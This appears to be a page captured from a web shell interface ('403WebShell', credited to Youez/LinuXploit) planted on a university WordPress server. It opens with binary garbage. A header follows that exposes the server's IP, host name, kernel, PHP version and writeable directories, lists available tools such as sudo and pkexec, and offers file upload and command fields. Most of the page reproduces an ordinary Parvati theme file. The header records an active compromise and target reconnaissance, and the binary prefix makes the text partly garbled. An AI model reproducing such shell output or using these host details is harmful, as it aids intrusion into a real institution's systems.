h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/parvati/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/parvati/inc/general.php
<?php
/**
 * General functions.
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! function_exists( 'parvati_scripts' ) ) {
	add_action( 'wp_enqueue_scripts', 'parvati_scripts' );
	/**
	 * Enqueue scripts and styles
	 */
	function parvati_scripts() {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
		$dir_uri = get_template_directory_uri();

		wp_enqueue_style( 'parvati-style-grid', $dir_uri . "/css/unsemantic-grid{$suffix}.css", false, PARVATI_VERSION, 'all' );
		wp_enqueue_style( 'parvati-style', $dir_uri . "/style{$suffix}.css", array( 'parvati-style-grid' ), PARVATI_VERSION, 'all' );
		wp_enqueue_style( 'parvati-mobile-style', $dir_uri . "/css/mobile{$suffix}.css", array( 'parvati-style' ), PARVATI_VERSION, 'all' );

		if ( is_child_theme() ) {
			wp_enqueue_style( 'parvati-child', get_stylesheet_uri(), array( 'parvati-style' ), filemtime( get_stylesheet_directory() . '/style.css' ), 'all' );
		}

		wp_enqueue_style( 'font-awesome', $dir_uri . "/css/font-awesome{$suffix}.css", false, '5.1', 'all' );

		if ( function_exists( 'wp_script_add_data' ) ) {
			wp_enqueue_script( 'parvati-classlist', $dir_uri . "/js/classList{$suffix}.js", array(), PARVATI_VERSION, true );
			wp_script_add_data( 'parvati-classlist', 'conditional', 'lte IE 11' );
		}

		wp_enqueue_script( 'parvati-menu', $dir_uri . "/js/menu{$suffix}.js", array( 'jquery'), PARVATI_VERSION, true );
		wp_enqueue_script( 'parvati-a11y', $dir_uri . "/js/a11y{$suffix}.js", array(), PARVATI_VERSION, true );

		if ( 'click' == $parvati_settings[ 'nav_dropdown_type' ] || 'click-arrow' == $parvati_settings[ 'nav_dropdown_type' ] ) {
			wp_enqueue_script( 'parvati-dropdown-click', $dir_uri . "/js/dropdown-click{$suffix}.js", array( 'parvati-menu' ), PARVATI_VERSION, true );
		}

		if ( 'enable' == $parvati_settings['nav_search'] ) {
			wp_enqueue_script( 'parvati-navigation-search', $dir_uri . "/js/navigation-search{$suffix}.js", array( 'parvati-menu' ), PARVATI_VERSION, true );
		}

		if ( 'enable' == $parvati_settings['back_to_top'] ) {
			wp_enqueue_script( 'parvati-back-to-top', $dir_uri . "/js/back-to-top{$suffix}.js", array(), PARVATI_VERSION, true );
		}

		if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
			wp_enqueue_script( 'comment-reply' );
		}
	}
}

if ( ! function_exists( 'parvati_widgets_init' ) ) {
	add_action( 'widgets_init', 'parvati_widgets_init' );
	/**
	 * Register widgetized area and update sidebar with default widgets
	 */
	function parvati_widgets_init() {
		$widgets = array(
			'sidebar-1' => __( 'Right Sidebar', 'parvati' ),
			'sidebar-2' => __( 'Left Sidebar', 'parvati' ),
			'header' => __( 'Header', 'parvati' ),
			'footer-1' => __( 'Footer Widget 1', 'parvati' ),
			'footer-2' => __( 'Footer Widget 2', 'parvati' ),
			'footer-3' => __( 'Footer Widget 3', 'parvati' ),
			'footer-4' => __( 'Footer Widget 4', 'parvati' ),
			'footer-5' => __( 'Footer Widget 5', 'parvati' ),
			'footer-bar' => __( 'Footer Bar','parvati' ),
			'top-bar' => __( 'Top Bar','parvati' ),
		);

		foreach ( $widgets as $id => $name ) {
			register_sidebar( array(
				'name'          => $name,
				'id'            => $id,
				'before_widget' => '<aside id="%1$s" class="widget inner-padding %2$s">',
				'after_widget'  => '</aside>',
				'before_title'  => apply_filters( 'parvati_start_widget_title', '<h2 class="widget-title">' ),
				'after_title'   => apply_filters( 'parvati_end_widget_title', '</h2>' ),
			) );
		}
	}
}

if ( ! function_exists( 'parvati_smart_content_width' ) ) {
	add_action( 'wp', 'parvati_smart_content_width' );
	/**
	 * Set the $content_width depending on layout of current page
	 * Hook into "wp" so we have the correct layout setting from parvati_get_layout()
	 * Hooking into "after_setup_theme" doesn't get the correct layout setting
	 */
	function parvati_smart_content_width() {
		global $content_width;

		$container_width = parvati_get_setting( 'container_width' );
		$right_sidebar_width = apply_filters( 'parvati_right_sidebar_width', '25' );
		$left_sidebar_width = apply_filters( 'parvati_left_sidebar_width', '25' );
		$layout = parvati_get_layout();

		if ( 'left-sidebar' == $layout ) {
			$content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 );
		} elseif ( 'right-sidebar' == $layout ) {
			$content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 );
		} elseif ( 'no-sidebar' == $layout ) {
			$content_width = $container_width;
		} else {
			$content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 );
		}
	}
}

if ( ! function_exists( 'parvati_page_menu_args' ) ) {
	add_filter( 'wp_page_menu_args', 'parvati_page_menu_args' );
	/**
	 * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
	 *
	 *
	 * @param array $args The existing menu args.
	 * @return array Menu args.
	 */
	function parvati_page_menu_args( $args ) {
		$args['show_home'] = true;
		return $args;
	}
}

if ( ! function_exists( 'parvati_disable_title' ) ) {
	add_filter( 'parvati_show_title', 'parvati_disable_title' );
	/**
	 * Remove our title if set.
	 *
	 *
	 * @return bool Whether to display the content title.
	 */
	function parvati_disable_title() {
		global $post;

		$disable_headline = ( isset( $post ) ) ? get_post_meta( $post->ID, '_parvati-disable-headline', true ) : '';

		if ( ! empty( $disable_headline ) && false !== $disable_headline ) {
			return false;
		}

		return true;
	}
}

if ( ! function_exists( 'parvati_resource_hints' ) ) {
	add_filter( 'wp_resource_hints', 'parvati_resource_hints', 10, 2 );
	/**
	 * Add resource hints to our Google fonts call.
	 *
	 *
	 * @param array  $urls           URLs to print for resource hints.
	 * @param string $relation_type  The relation type the URLs are printed.
	 * @return array $urls           URLs to print for resource hints.
	 */
	function parvati_resource_hints( $urls, $relation_type ) {
		if ( wp_style_is( 'parvati-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
			if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
				$urls[] = array(
					'href' => 'https://fonts.gstatic.com',
					'crossorigin',
				);
			} else {
				$urls[] = 'https://fonts.gstatic.com';
			}
		}
		return $urls;
	}
}

if ( ! function_exists( 'parvati_remove_caption_padding' ) ) {
	add_filter( 'img_caption_shortcode_width', 'parvati_remove_caption_padding' );
	/**
	 * Remove WordPress's default padding on images with captions
	 *
	 * @param int $width Default WP .wp-caption width (image width + 10px)
	 * @return int Updated width to remove 10px padding
	 */
	function parvati_remove_caption_padding( $width ) {
		return $width - 10;
	}
}

if ( ! function_exists( 'parvati_enhanced_image_navigation' ) ) {
	add_filter( 'attachment_link', 'parvati_enhanced_image_navigation', 10, 2 );
	/**
	 * Filter in a link to a content ID attribute for the next/previous image links on image attachment pages
	 */
	function parvati_enhanced_image_navigation( $url, $id ) {
		if ( ! is_attachment() && ! wp_attachment_is_image( $id ) ) {
			return $url;
		}

		$image = get_post( $id );
		if ( ! empty( $image->post_parent ) && $image->post_parent != $id ) {
			$url .= '#main';
		}

		return $url;
	}
}

if ( ! function_exists( 'parvati_categorized_blog' ) ) {
	/**
	 * Determine whether blog/site has more than one category.
	 *
	 *
	 * @return bool True of there is more than one category, false otherwise.
	 */
	function parvati_categorized_blog() {
		if ( false === ( $all_the_cool_cats = get_transient( 'parvati_categories' ) ) ) {
			// Create an array of all the categories that are attached to posts.
			$all_the_cool_cats = get_categories( array(
				'fields'     => 'ids',
				'hide_empty' => 1,

				// We only need to know if there is more than one category.
				'number'     => 2,
			) );

			// Count the number of categories that are attached to the posts.
			$all_the_cool_cats = count( $all_the_cool_cats );

			set_transient( 'parvati_categories', $all_the_cool_cats );
		}

		if ( $all_the_cool_cats > 1 ) {
			// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
			return true;
		} else {
			// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
			return false;
		}
	}
}

if ( ! function_exists( 'parvati_category_transient_flusher' ) ) {
	add_action( 'edit_category', 'parvati_category_transient_flusher' );
	add_action( 'save_post',     'parvati_category_transient_flusher' );
	/**
	 * Flush out the transients used in {@see parvati_categorized_blog()}.
	 *
	 */
	function parvati_category_transient_flusher() {
		// Like, beat it. Dig?
		delete_transient( 'parvati_categories' );
	}
}

add_filter( 'parvati_fontawesome_essentials', 'parvati_set_font_awesome_essentials' );
/**
 * Check to see if we should include the full Font Awesome library or not.
 *
 *
 * @param bool $essentials
 * @return bool
 */
function parvati_set_font_awesome_essentials( $essentials ) {
	if ( parvati_get_setting( 'font_awesome_essentials' ) ) {
		return true;
	}

	return $essentials;
}

Youez - 2016 - github.com/yon3zu
LinuXploit